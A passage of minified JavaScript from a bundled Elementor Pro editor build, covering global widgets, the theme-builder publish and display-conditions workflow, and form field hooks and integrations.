strict";n(198),n(101),e.exports=elementor.modules.elements.models.Element.extend({initialize:function(){this.set({widgetType:"global"},{silent:!0}),elementor.modules.elements.models.Element.prototype.initialize.apply(this,arguments),elementorFrontend.config.elements.data[this.cid].on("change",this.onSettingsChange.bind(this))},initSettings:function(){var e=this.getGlobalModel(),t=e.get("settings");this.set("settings",t),elementorFrontend.config.elements.data[this.cid]=t,elementorFrontend.config.elements.editSettings[this.cid]=e.get("editSettings")},initEditSettings:function(){var e=new Backbone.Model(this.get("defaultEditSettings"));this.set("editSettings",e),this.get("editSettings").set("editTab","global")},getGlobalModel:function(){var e=this.get("templateID");return elementorPenci.modules.globalWidget.getGlobalModels(e)},getTitle:function(){var e=this.getSetting("_title");e||(e=this.getGlobalModel().get("title"));var t=elementorPenci.translate("global");return(e=e.replace(new RegExp("\\("+t+"\\)$"),""))+" ("+t+")"},getIcon:function(){return this.getGlobalModel().getIcon()},onSettingsChange:function(e){e.changed.elements||this.set("previewSettings",e.toJSON({remove:["default"]}),{silent:!0})},onDestroy:function(){$e.routes.isPartOf("panel/editor")&&$e.route("panel/elements/categories")}})},function(e,t,n){"use strict";e.exports=elementor.modules.layouts.panel.pages.elements.views.Elements.extend({id:"elementor-global-templates",getEmptyView:function(){return this.collection.length?null:n(378)},onFilterEmpty:function(){}})},function(e,t,n){"use strict";var o=elementor.modules.layouts.panel.pages.elements.views.Global;e.exports=o.extend({template:"#tmpl-elementor-panel-global-widget-no-templates",id:"elementor-panel-global-widget-no-templates",className:"elementor-nerd-box elementor-panel-nerd-box"})},function(e,t,n){"use strict";e.exports=Marionette.ItemView.extend({id:"elementor-panel-global-widget",template:"#tmpl-elementor-panel-global-widget",ui:{editButton:"#elementor-global-widget-locked-edit .elementor-button",unlinkButton:"#elementor-global-widget-locked-unlink .elementor-button",loading:"#elementor-global-widget-loading"},events:{"click @ui.editButton":"onEditButtonClick","click @ui.unlinkButton":"onUnlinkButtonClick"},initialize:function(){this.initUnlinkDialog()},buildUnlinkDialog:function(){var e=this;return elementorCommon.dialogsManager.createWidget("confirm",{id:"elementor-global-widget-unlink-dialog",headerMessage:elementorPenci.translate("unlink_widget"),message:elementorPenci.translate("dialog_confirm_unlink"),position:{my:"center center",at:"center center"},strings:{confirm:elementorPenci.translate("unlink"),cancel:elementorPenci.translate("cancel")},onConfirm:function(){e.getOption("editedView").unlink()}})},initUnlinkDialog:function(){var e;this.getUnlinkDialog=function(){return e||(e=this.buildUnlinkDialog()),e}},editGlobalModel:function(){var e=this.getOption("editedView");$e.run("panel/editor/open",{model:e.getEditModel(),view:e})},onEditButtonClick:function(){var e=this,t=e.getOption("editedView").getEditModel();"loaded"!==t.get("settingsLoadedStatus")?(e.ui.loading.removeClass("elementor-hidden"),elementorPenci.modules.globalWidget.requestGlobalModelSettings(t,function(){e.ui.loading.addClass("elementor-hidden"),e.editGlobalModel()})):e.editGlobalModel()},onUnlinkButtonClick:function(){this.getUnlinkDialog().show()}})},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0,n(233);var r=o(n(0)),i=o(n(3)),a=o(n(6)),u=o(n(61)),l=o(n(25)),s=o(n(4)),c=o(n(5)),d=o(n(381)),f=function(e){(0,s.default)(n,e);var t=(0,c.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"__construct",value:function(){for(var e,t=arguments.length,o=new Array(t),i=0;i<t;i++)o[i]=arguments[i];(e=(0,u.default)((0,l.default)(n.prototype),"__construct",this)).call.apply(e,[this].concat(o)),(0,r.default)(elementorPenci.config,"theme_builder",{get:function(){return elementorCommon.helpers.softDeprecated("theme_builder","2.9.0","elementor.config.document.theme_builder"),elementor.config.document.theme_builder}})}},{key:"onElementorLoaded",value:function(){this.component=$e.components.register(new d.default({manager:this})),elementor.on("document:loaded",this.onDocumentLoaded.bind(this)),elementor.on("document:unload",this.onDocumentUnloaded.bind(this)),this.onApplyPreview=this.onApplyPreview.bind(this),this.onSectionPreviewSettingsActive=this.onSectionPreviewSettingsActive.bind(this)}},{key:"onDocumentLoaded",value:function(e){e.config.theme_builder&&(elementor.getPanelView().on("set:page:page_settings",this.updatePreviewIdOptions),elementor.channels.editor.on("elementorThemeBuilder:ApplyPreview",this.onApplyPreview),elementor.channels.editor.on("page_settings:preview_settings:activated",this.onSectionPreviewSettingsActive))}},{key:"onDocumentUnloaded",value:function(e){e.config.theme_builder&&(elementor.getPanelView().off("set:page:page_settings",this.updatePreviewIdOptions),elementor.channels.editor.off("elementorThemeBuilder:ApplyPreview",this.onApplyPreview),elementor.channels.editor.off("page_settings:preview_settings:activated",this.onSectionPreviewSettingsActive))}},{key:"saveAndReload",value:function(){$e.run("document/save/auto",{force:!0,onSuccess:function(){elementor.dynamicTags.cleanCache(),elementor.reloadPreview()}})}},{key:"onApplyPreview",value:function(){this.saveAndReload()}},{key:"onSectionPreviewSettingsActive",value:function(){this.updatePreviewIdOptions(!0)}},{key:"updatePreviewIdOptions",value:function(e){var t=elementor.settings.page.model.get("preview_type");if(t){t=t.split("/");var n=elementor.getPanelView().getCurrentPageView(),o=n.collection.findWhere({name:"preview_id"});if("author"===t[1]?o.set({autocomplete:{object:"author"}}):"taxonomy"===t[0]?o.set({autocomplete:{object:"tax",query:{taxonomy:t[1]}}}):"single"===t[0]?o.set({autocomplete:{object:"post",query:{post_type:t[1]}}}):o.set({autocomplete:{object:""}}),!0===e){var r=n.children.findByModel(o);r.render(),r.$el.toggle(!!o.get("autocomplete").object)}}}}]),n}(elementorModules.editor.utils.Module);t.default=f},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(48)),a=r(n(3)),u=r(n(6)),l=r(n(61)),s=r(n(25)),c=r(n(4)),d=r(n(5)),f=r(n(382)),p=r(n(383)),m=o(n(384)),v=function(e){(0,c.default)(n,e);var t=(0,d.default)(n);function n(){return(0,a.default)(this,n),t.apply(this,arguments)}return(0,u.default)(n,[{key:"getNamespace",value:function(){return"theme-builder-publish"}},{key:"getModalLayout",value:function(){return p.default}},{key:"defaultCommands",value:function(){var e=this;return{next:function(){var t=(0,i.default)(e.tabs)[e.currentTabIndex+1];t&&$e.route(e.getTabRoute(t))},save:function(){$e.run("document/save/default",{force:!0}),e.layout.hideModal()},"preview-settings":function(){var e=elementor.getPanelView();$e.route("panel/page-settings/settings"),e.getCurrentPageView().activateSection("preview_settings")._renderChildren()}}}},{key:"defaultHooks",value:function(){return this.importHooks(m)}},{key:"getTabsWrapperSelector",value:function(){return"#elementor-publish__tabs"}},{key:"renderTab",value:function(e){var t=this.getTabs(),n=(0,i.default)(t),o=t[e];this.currentTabIndex=n.indexOf(e);var r=!n[this.currentTabIndex+1];this.layout.modalContent.currentView.screen.show(new o.View(o.viewOptions)),this.layout.modal.getElements("next").toggle(!r),this.layout.modal.getElements("publish").toggleClass("elementor-button-success",r)}},{key:"activateTab",value:function(e){$e.routes.saveState(this.getNamespace()),(0,l.default)((0,s.default)(n.prototype),"activateTab",this).call(this,e)}},{key:"open",value:function(){return(0,l.default)((0,s.default)(n.prototype),"open",this).call(this),this.layoutContent||(this.layout.showLogo(),this.layout.modalContent.show(new f.default({component:this})),this.layoutContent=!0),!0}}]),n}($e.modules.ComponentModalBase);t.default=v},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"id",value:function(){return"elementor-publish"}},{key:"getTemplate",value:function(){return Marionette.TemplateCache.get("#tmpl-elementor-component-publish")}},{key:"regions",value:function(){return{screen:"#elementor-publish__screen"}}},{key:"templateHelpers",value:function(){return{tabs:this.getOption("component").getTabs()}}}]),n}(Marionette.LayoutView);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(61)),u=o(n(25)),l=o(n(4)),s=o(n(5)),c=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getModalOptions",value:function(){return{id:"elementor-publish__modal",hide:{onButtonClick:!1}}}},{key:"getLogoOptions",value:function(){return{title:elementorPenci.translate("publish_settings")}}},{key:"initModal",value:function(){(0,a.default)((0,u.default)(n.prototype),"initModal",this).call(this),this.modal.addButton({name:"publish",text:elementorPenci.translate("save_and_close"),callback:function(){return $e.run("theme-builder-publish/save")}}),this.modal.addButton({name:"next",text:elementorPenci.translate("next"),callback:function(){return $e.run("theme-builder-publish/next")}});var e=this.modal.getElements("publish");this.modal.getElements("next").addClass("elementor-button-success").add(e).addClass("elementor-button").removeClass("dialog-button")}}]),n}(elementorModules.common.views.modal.Layout);t.default=c},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(385);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})});var a=n(392);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return a[e]}})})},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i={ThemeBuilderSaveConditions:!0,ThemeBuilderShowConditions:!0,ThemeBuilderPreviewBreak:!0};r(t,"ThemeBuilderSaveConditions",{enumerable:!0,get:function(){return u.ThemeBuilderSaveConditions}}),r(t,"ThemeBuilderShowConditions",{enumerable:!0,get:function(){return l.ThemeBuilderShowConditions}}),r(t,"ThemeBuilderPreviewBreak",{enumerable:!0,get:function(){return s.ThemeBuilderPreviewBreak}});var a=n(386);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(i,e)||r(t,e,{enumerable:!0,get:function(){return a[e]}}))});var u=n(389),l=n(390),s=n(391)},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"ThemeBuilderSaveAndReload",{enumerable:!0,get:function(){return r.ThemeBuilderSaveAndReload}}),o(t,"ThemeBuilderUpdatePreviewOptions",{enumerable:!0,get:function(){return i.ThemeBuilderUpdatePreviewOptions}});var r=n(387),i=n(388)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderSaveAndReload=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-save-and-reload"}},{key:"getContainerType",value:function(){return"document"}},{key:"getConditions",value:function(e){return e.settings&&e.settings.page_template}},{key:"apply",value:function(){$e.run("document/save/auto",{force:!0,onSuccess:function(){elementor.reloadPreview(),elementor.once("preview:loaded",function(){$e.route("panel/page-settings/settings")})}})}}]),n}($e.modules.hookData.After);t.ThemeBuilderSaveAndReload=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderUpdatePreviewOptions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-update-preview-options"}},{key:"getContainerType",value:function(){return"document"}},{key:"getConditions",value:function(e){return e.settings&&e.settings.preview_type}},{key:"apply",value:function(e){var t=e.containers,n=void 0===t?[e.container]:t,o=elementorPenci.modules.themeBuilder;$e.run("document/elements/settings",{containers:n,settings:{preview_id:"",preview_search_term:""}}),$e.routes.is("panel/page-settings/settings")&&o.updatePreviewIdOptions(!0)}}]),n}($e.modules.hookData.After);t.ThemeBuilderUpdatePreviewOptions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderSaveConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-save-conditions"}},{key:"getConditions",value:function(){return!!elementor.config.document.theme_builder}},{key:"apply",value:function(){var e=elementorPenci.modules.themeBuilder.conditionsModel;elementorPenci.ajax.addRequest("theme_builder_save_conditions",{data:e.toJSON({remove:["default"]}),success:function(){elementor.config.document.theme_builder.settings.conditions=e.get("conditions")}})}}]),n}($e.modules.hookData.After);t.ThemeBuilderSaveConditions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderShowConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/default"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-show-conditions"}},{key:"getConditions",value:function(e){var t=e.force;if(void 0!==t&&t)return!1;var n=!1,o=elementor.config.document.theme_builder;if(o){var r=o.settings.conditions.length,i=o.settings.location,a="draft"===elementor.settings.page.model.get("post_status");!i||r&&!a||(n=!0)}return n}},{key:"apply",value:function(){return $e.route("theme-builder-publish/conditions"),!1}}]),n}($e.modules.hookData.Dependency);t.ThemeBuilderShowConditions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderPreviewBreak=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/preview"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-preview-break"}},{key:"getConditions",value:function(e){return!e.force&&!!elementor.documents.get(e.id).config.theme_builder}},{key:"apply",value:function(){return!1}}]),n}($e.modules.hookData.Dependency);t.ThemeBuilderPreviewBreak=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"ThemeBuilderAddEditorUI",{enumerable:!0,get:function(){return r.ThemeBuilderAddEditorUI}}),o(t,"ThemeBuilderRemoveEditorUI",{enumerable:!0,get:function(){return i.ThemeBuilderRemoveEditorUI}}),o(t,"ThemeBuilderToggleMenuConditions",{enumerable:!0,get:function(){return a.ThemeBuilderToggleMenuConditions}}),o(t,"ThemeBuilderFooterSaverAfterSave",{enumerable:!0,get:function(){return u.ThemeBuilderFooterSaverAfterSave}});var r=n(393),i=n(398),a=n(399),u=n(400)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderAddEditorUI=void 0;var r=o(n(48)),i=o(n(3)),a=o(n(6)),u=o(n(4)),l=o(n(5)),s=o(n(394)),c=function(e){(0,u.default)(o,e);var t=(0,l.default)(o);function o(){return(0,i.default)(this,o),t.apply(this,arguments)}return(0,a.default)(o,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-add-editor-ui"}},{key:"getConditions",value:function(e){return elementor.documents.get(e.id).config.theme_builder}},{key:"apply",value:function(){elementor.panel?this.addUI():elementor.once("preview:loaded",this.addUI.bind(this))}},{key:"addUI",value:function(){this.addRepeaterControlView(),this.addPanelFooterSubmenuItems(),this.addPublishTabs()}},{key:"addRepeaterControlView",value:function(){elementor.addControlView("Conditions_repeater",n(396))}},{key:"addPublishTabs",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementor.config.document.theme_builder,n=t.settings;e.manager.conditionsModel=new elementorModules.editor.elements.models.BaseSettings(n,{controls:t.template_conditions.controls}),e.addTab("conditions",{title:elementorPenci.translate("conditions"),View:s.default,viewOptions:{model:e.manager.conditionsModel,controls:e.manager.conditionsModel.controls},name:"conditions",description:elementorPenci.translate("conditions_publish_screen_description"),image:elementorPenci.config.urls.modules+"theme-builder/assets/images/conditions-tab.svg"})}},{key:"addPanelFooterSubmenuItems",value:function(){var e=elementor.getPanelView().footer.currentView,t=e._behaviors[(0,r.default)(e.behaviors()).indexOf("saver")];e.ui.menuConditions=e.addSubMenuItem("saver-options",{before:"save-template",name:"conditions",icon:"eicon-flow",title:elementorPenci.translate("display_conditions"),callback:function(){return $e.route("theme-builder-publish/conditions")}}),e.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location),t.ui.buttonPreview.tipsy("disable").html(jQuery("#tmpl-elementor-theme-builder-button-preview").html()).addClass("elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state")}}]),o}($e.modules.hookUI.After);t.ThemeBuilderAddEditorUI=c;var d=c;t.default=d},function(e,t,n){"use strict";var o=n(395);e.exports=o.extend({id:"elementor-theme-builder-conditions-view",template:"#tmpl-elementor-theme-builder-conditions-view",childViewContainer:"#elementor-theme-builder-conditions-controls",childViewOptions:function(){return{elementSettingsModel:this.model}}})},function(e,t,n){"use strict";n(276),n(234),n(111),e.exports=elementorModules.editor.views.ControlsStack.extend({activeTab:"content",activeSection:"settings",initialize:function(){this.collection=new Backbone.Collection(_.values(this.options.controls))},filter:function(e){if("section"===e.get("type"))return!0;var t=e.get("section");return!t||t===this.activeSection},childViewOptions:function(){return{elementSettingsModel:this.model}}})},function(e,t,n){"use strict";var o=n(1)(n(397));e.exports=elementor.modules.controls.Repeater.extend({childView:o.default,updateActiveRow:function(){},initialize:function(){elementor.modules.controls.Repeater.prototype.initialize.apply(this,arguments),this.config=elementor.config.document.theme_builder,this.updateConditionsOptions(this.config.settings.template_type)},updateConditionsOptions:function(e){var t=this,n=t.config.types[e].condition_type,o={};_([n]).each(function(e,n){var r=t.config.conditions[e],i={label:r.label,options:{}};i.options[e]=r.all_label,_(r.sub_conditions).each(function(e){i.options[e]=t.config.conditions[e].label}),o[n]=i});var r=this.model.get("fields");r[1].default=n,"general"===n?r[1].groups=o:r[2].groups=o},onRender:function(){this.ui.btnAddRow.text(elementorPenci.translate("add_condition"))}})},function(e,t,n){"use strict";n(110),e.exports=elementor.modules.controls.RepeaterRow.extend({template:"#tmpl-elementor-theme-builder-conditions-repeater-row",childViewContainer:".elementor-theme-builder-conditions-repeater-row-controls",conflictCheckedOnFirstRender:!1,id:function(){return"elementor-condition-id-"+this.model.get("_id")},onBeforeRender:function(){var e=this.collection.findWhere({name:"sub_name"}),t=this.collection.findWhere({name:"sub_id"}),n=this.config.conditions[this.model.attributes.sub_name];e.attributes.groups=this.getOptions(),n&&n.controls&&_(n.controls).each(function(e){t.set(e),t.set("name","sub_id")})},initialize:function(){elementor.modules.controls.RepeaterRow.prototype.initialize.apply(this,arguments),this.config=elementor.config.document.theme_builder},updateOptions:function(){(this.model.changed.name&&this.model.set({sub_name:"",sub_id:""}),this.model.changed.name||this.model.changed.sub_name)&&(this.model.set("sub_id","",{silent:!0}),this.collection.findWhere({name:"sub_id"}).set({type:"select",options:{"":"All"}}),this.render());this.model.changed.type&&this.setTypeAttribute()},getOptions:function(){var e=this,t=e.config.conditions[this.model.get("name")];if(t){var n={"":t.all_label};return _(t.sub_conditions).each(function(t,o){var r,i=e.config.conditions[t];i&&(i.sub_conditions.length?((r={label:i.label,options:{}}).options[t]=i.all_label,_(i.sub_conditions).each(function(t){r.options[t]=e.config.conditions[t].label}),n["key"+o]=r):n[t]=i.label)}),n}},setTypeAttribute:function(){var e=this.children.findByModel(this.collection.findWhere({name:"type"}));e.$el.attr("data-elementor-condition-type",e.getControlValue())},checkConflicts:function(){var e=this.model.get("_id"),t="elementor-condition-id-"+e,n="elementor-conditions-conflict-message-"+e,o=jQuery("#"+n);jQuery("#"+t).removeClass("elementor-error"),o.remove(),elementorPenci.ajax.addRequest("theme_builder_conditions_check_conflicts",{unique_id:t,data:{condition:this.model.toJSON()},success:function(e){_.isEmpty(e)||jQuery("#"+t).addClass("elementor-error").after('<div id="'+n+'" class="elementor-conditions-conflict-message">'+e+"</div>")}})},onRender:function(){var e=this.collection.findWhere({name:"name"}),t=this.collection.findWhere({name:"sub_name"}),n=this.collection.findWhere({name:"sub_id"}),o=this.children.findByModel(e),r=this.children.findByModel(t),i=this.children.findByModel(n),a=this.config.conditions[this.model.attributes.name],u=this.config.conditions[this.model.attributes.sub_name],l=this.config.types[this.config.settings.template_type];l.condition_type!==o.getControlValue()||"general"===o.getControlValue()||_.isEmpty(a.sub_conditions)||o.$el.hide(),(!a||_.isEmpty(a.sub_conditions)&&_.isEmpty(a.controls)||!o.getControlValue()||"general"===o.getControlValue())&&r.$el.hide(),u&&!_.isEmpty(u.controls)&&r.getControlValue()||i.$el.hide(),"singular"===l.condition_type&&""===r.getControlValue()&&r.setValue("post"),this.setTypeAttribute(),this.conflictCheckedOnFirstRender||(this.checkConflicts(),this.conflictCheckedOnFirstRender=!0)},onModelChange:function(){this.updateOptions(),this.checkConflicts()}})},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderRemoveEditorUI=void 0;var r=o(n(48)),i=o(n(3)),a=o(n(6)),u=o(n(4)),l=o(n(5)),s=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-remove-editor-ui"}},{key:"getConditions",value:function(e){return e.document.config.theme_builder}},{key:"apply",value:function(){this.removePanelFooterSubmenuItems(),this.removePublishTabs()}},{key:"removePanelFooterSubmenuItems",value:function(){var e=elementor.getPanelView().footer.currentView,t=e._behaviors[(0,r.default)(e.behaviors()).indexOf("saver")];elementor.getPanelView().footer.currentView.removeSubMenuItem("saver-options",{name:"conditions"}),t.ui.buttonPreview.tipsy("enable").removeClass("elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state")}},{key:"removePublishTabs",value:function(){$e.components.get("theme-builder-publish").removeTab("conditions")}}]),n}($e.modules.hookUI.After);t.ThemeBuilderRemoveEditorUI=s;var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderToggleMenuConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-toggle-menu-conditions"}},{key:"getContainerType",value:function(){return"document"}},{key:"getConditions",value:function(e){return e.settings&&e.settings.location}},{key:"apply",value:function(){elementorPenci.modules.themeBuilder.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location)}}]),n}($e.modules.hookUI.After);t.ThemeBuilderToggleMenuConditions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.ThemeBuilderFooterSaverAfterSave=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"theme-builder-footer-saver-after-save"}},{key:"getConditions",value:function(){return elementor.config.document.support_site_editor}},{key:"apply",value:function(e,t){var n=e.status;t.statusChanged&&this.onPageStatusChange(n)}},{key:"onPageStatusChange",value:function(e){if("publish"===e){var t={classes:"e-theme-builder-save-toaster",message:elementor.config.document.panel.messages.publish_notification,buttons:[{name:"open_site_editor",text:'<i class="eicon-external-link-square"></i><span class="e-theme-builder-toaster-button-text">'+elementorPenci.translate("open_site_editor")+"</span>",callback:function(){$e.run("app/open")}},{name:"view_live_site",text:'<i class="eicon-preview-medium"></i><span class="e-theme-builder-toaster-button-text">'+elementorPenci.translate("view_live_site")+"</span>",callback:function(){open(elementor.config.document.urls.permalink)}}]};elementor.notifications.showToast(t)}}}]),n}($e.modules.hookUI.After);t.ThemeBuilderFooterSaverAfterSave=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(402)),s=function(e){(0,a.default)(o,e);var t=(0,u.default)(o);function o(){return(0,r.default)(this,o),t.apply(this,arguments)}return(0,i.default)(o,[{key:"onElementorInit",value:function(){var e=n(410),t=n(411),o=n(412),r=n(414),i=n(415),a=n(416),u=n(417),l=n(418);this.replyToField=new e,this.mailchimp=new r("form"),this.recaptcha=new t("form"),this.drip=new i("form"),this.activecampaign=new a("form"),this.getresponse=new u("form"),this.convertkit=new l("form"),this.mailerlite=new o("form");var s=n(419),c=n(420),d=n(421),f=n(422),p=n(423);this.Fields={time:new s("form"),date:new c("form"),tel:new p("form"),acceptance:new d("form"),upload:new f("form")},elementor.addControlView("Fields_map",n(424)),elementor.addControlView("form-fields-repeater",n(425))}},{key:"onElementorInitComponents",value:function(){$e.components.register(new l.default({manager:this}))}}]),o}(elementorModules.editor.utils.Module);t.default=s},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=o(n(403)),c=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"forms"}},{key:"defaultHooks",value:function(){return this.importHooks(s)}}]),n}($e.modules.ComponentBase);t.default=c},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(404);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})});var a=n(408);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return a[e]}})})},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"FormFieldsSanitizeCustomId",{enumerable:!0,get:function(){return r.FormFieldsSanitizeCustomId}}),o(t,"FormFieldsSetCustomId",{enumerable:!0,get:function(){return i.FormFieldsSetCustomId}}),o(t,"FormFieldsAddFirstStep",{enumerable:!0,get:function(){return a.FormFieldsAddFirstStep}});var r=n(405),i=n(406),a=n(407)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.FormFieldsSanitizeCustomId=void 0,n(19),n(172);var r=o(n(3)),i=o(n(6)),a=o(n(66)),u=o(n(4)),l=o(n(5)),s=o(n(59)),c=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){var e;(0,r.default)(this,n);for(var o=arguments.length,i=new Array(o),u=0;u<o;u++)i[u]=arguments[u];return e=t.call.apply(t,[this].concat(i)),(0,s.default)((0,a.default)(e),"ID_SANITIZE_FILTER",/[^\w]/g),e}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-forms-fields-sanitize-custom-id"}},{key:"getContainerType",value:function(){return"repeater"}},{key:"getConditions",value:function(e){return void 0!==e.settings.custom_id}},{key:"apply",value:function(e){var t=e.containers,n=void 0===t?[e.container]:t;return!e.settings.custom_id.match(this.ID_SANITIZE_FILTER)||(n.forEach(function(e){var t=e.panel.getControlView("form_fields").children.findByModel(e.settings).children.find(function(e){return"custom_id"===e.model.get("name")});t.render(),t.$el.find("input").focus()}),!1)}}]),n}($e.modules.hookData.Dependency);t.FormFieldsSanitizeCustomId=c;var d=c;t.default=d},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.FormFieldsSetCustomId=void 0,n(19),n(110);var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/repeater/insert"}},{key:"getId",value:function(){return"elementor-pro-forms-fields-set-custom-id"}},{key:"getContainerType",value:function(){return"widget"}},{key:"getConditions",value:function(e){return"form_fields"===e.name}},{key:"apply",value:function(e,t){var n=e.containers,o=void 0===n?[e.container]:n,r=$e.commands.isCurrentFirstTrace("document/repeater/duplicate");return o.forEach(function(e){var n=e.repeaters.form_fields.children.find(function(e){return!!e&&t.get("_id")===e.id});!r&&n.settings.get("custom_id")||$e.run("document/elements/settings",{container:n,settings:{custom_id:"field_"+n.id},options:{external:!0}})}),!0}}]),n}($e.modules.hookData.After);t.FormFieldsSetCustomId=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.FormFieldsAddFirstStep=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function 